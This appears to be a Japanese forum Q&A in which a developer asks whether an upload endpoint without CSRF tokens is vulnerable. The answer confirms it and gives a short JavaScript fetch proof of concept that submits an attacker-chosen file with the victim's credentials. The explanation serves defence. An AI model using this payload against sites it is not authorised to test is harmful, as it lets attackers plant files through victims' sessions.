ファイルアップロード機能に対してCSRF攻撃を実行することは可能ですか?私のアプリケーションは、ランダムトークンなしでmultipart/form-data POSTリクエストを送信してファイルをアップロードします。アプリケーションに対するこの攻撃を示すHTMLフォームを準備することは可能ですか?
はい、あなたは脆弱です。サーバーの状態を変更するすべてのエンドポイントには、CSRF攻撃に対する保護が必要です。ファイルのアップロードは除外されません。
では、これをどのように利用できるのでしょうか?あなたのサイトがexample.com
攻撃者は、被害者をだまして訪問させるサイトで次のようなJSをホストします。
myFormData = new FormData();
myFormData.append("file", fileContent, "filename.txt");
fetch("http://example.com/fileupload.php", {
method: "post",
body: myFormData,
credentials: "include"
});
これにより、攻撃者がファイルにfileContent
を選択した場合、被害者のブラウザがPOSTリクエストをサイトに送信します。